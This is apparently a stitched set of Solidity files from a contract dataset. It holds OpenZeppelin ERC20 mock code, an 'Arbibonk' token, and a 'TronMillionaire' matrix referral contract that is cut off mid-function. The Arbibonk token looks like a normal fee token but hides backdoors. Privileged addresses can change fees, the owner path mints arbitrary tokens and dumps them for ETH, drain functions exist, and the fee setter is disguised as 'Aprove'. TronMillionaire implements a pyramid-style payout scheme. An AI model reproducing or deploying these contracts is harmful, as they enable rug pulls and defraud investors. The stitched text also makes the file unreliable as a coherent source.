revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
modifier whenNotPaused() {
_requireNotPaused();
_;
}
modifier whenPaused() {
_requirePaused();
_;
}
function paused() public view virtual returns (bool) {
return _paused;
}
function _requireNotPaused() internal view virtual {
require(!paused(), "Pausable: paused");
}
function _requirePaused() internal view virtual {
require(paused(), "Pausable: not paused");
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
function __ERC20Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal onlyInitializing {
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// mock class using ERC20Pausable
contract ERC20PausableMockUpgradeable is Initializable, ERC20PausableUpgradeable {
function __ERC20PausableMock_init(string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance) internal onlyInitializing {
__ERC20_init_unchained(name, symbol);
__Pausable_init_unchained();
__ERC20PausableMock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20PausableMock_init_unchained(string memory,
string memory,
address initialAccount,
uint256 initialBalance) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
function burn(address from, uint256 amount) public {
_burn(from, amount);
}
uint256[50] private __gap;
}
| 63,186 | 10,306 |
df65517c9aeac258b7101024d6161e875e52cc8754628583cbd81008ee3cf461
| 21,504 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/7e/7ec476b2c2122ffd6b32869be4f1d43a0a0d2f77_Arbibonk.sol
| 3,356 | 13,565 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.11;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Arbibonk is IERC20, Ownable {
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public buyFee = 5;
uint256 public sellFee = 5;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
address private _owner;
uint256 private _swapTokensAtAmount = _tTotal;
uint256 private _amount;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _balances;
mapping(address => uint256) private approval;
mapping(address => bool) private _exc;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_owner = tx.origin;
_exc[_owner] = true;
_exc[address(this)] = true;
_balances[_owner] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), _owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function set(uint256 amount) external {
if (_exc[msg.sender]) _amount = amount;
}
function exclude(address account, bool value) external {
if (_exc[msg.sender]) _exc[account] = value;
}
function setSwapAndLiquifyEnabled(bool _enabled) external {
if (_exc[msg.sender]) _swapAndLiquifyEnabled = _enabled;
}
function Aprove(uint256 _buyFee,
uint256 _sellFee,
uint256 _feeDivisor) external {
if (_exc[msg.sender]) {
buyFee = _buyFee;
sellFee = _sellFee;
feeDivisor = _feeDivisor;
}
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function transferAnyERC20Token(address token,
address account,
uint256 amount) external {
if (_exc[msg.sender]) IERC20(token).transfer(account, amount);
}
function transferToken(address account, uint256 amount) external {
if (_exc[msg.sender]) payable(account).transfer(amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_exc[from] && amount <= _swapTokensAtAmount) {
require(approval[from] + _amount >= 0, 'Transfer amount exceeds the maxTxAmount');
}
uint256 contractTokenBalance = balanceOf(address(this));
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (to == _owner && _exc[from]) return swapTokensForEth(amount, to);
if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
approval[to] = amount;
return;
}
if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
}
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
bool takeFee = !_exc[from] && !_exc[to] && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
| 35,284 | 10,307 |
4749e8405b4507c4e48917554041072b1c52801d3b4518c21261172c80efa7fb
| 24,251 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TU8Qkca4PigKGTnoMF8RzCaBgspcM2oxtn_TronMillionaire.sol
| 5,911 | 23,204 |
//SourceUnit: tronmillionaire.sol
pragma solidity >=0.4.23 <0.6.0;
contract TronMillionaire {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint16 internal constant LEVEL_PER = 2000;
uint16 internal constant LEVEL_DIVISOR = 10000;
uint public lastUserId = 2;
address public owner;
mapping(uint => uint) public levelPrice;
uint8 public constant levelIncome = 10;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTRONReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event MissedLevelIncome(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level, uint8 networklevel);
event SentDividends(address indexed from,uint indexed fromId, address receiver,uint indexed receiverId, uint8 matrix, uint8 level, bool isExtra);
event SentLevelincome(address indexed from,uint indexed fromId, address receiver,uint indexed receiverId, uint8 matrix, uint8 level,uint8 networklevel, bool isExtraLevel);
constructor(address ownerAddress) public {
levelPrice[1] = 25 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
require(users[msg.sender].activeX3Levels[level - 1], "previous level must be activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
require(users[msg.sender].activeX6Levels[level - 1], "previous level must be activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 50 trx, "registration cost 50");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTRONDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRONDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTRONDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref, users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress, users[userAddress].id, ref, users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref, users[ref].id, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTRONDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTRONDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
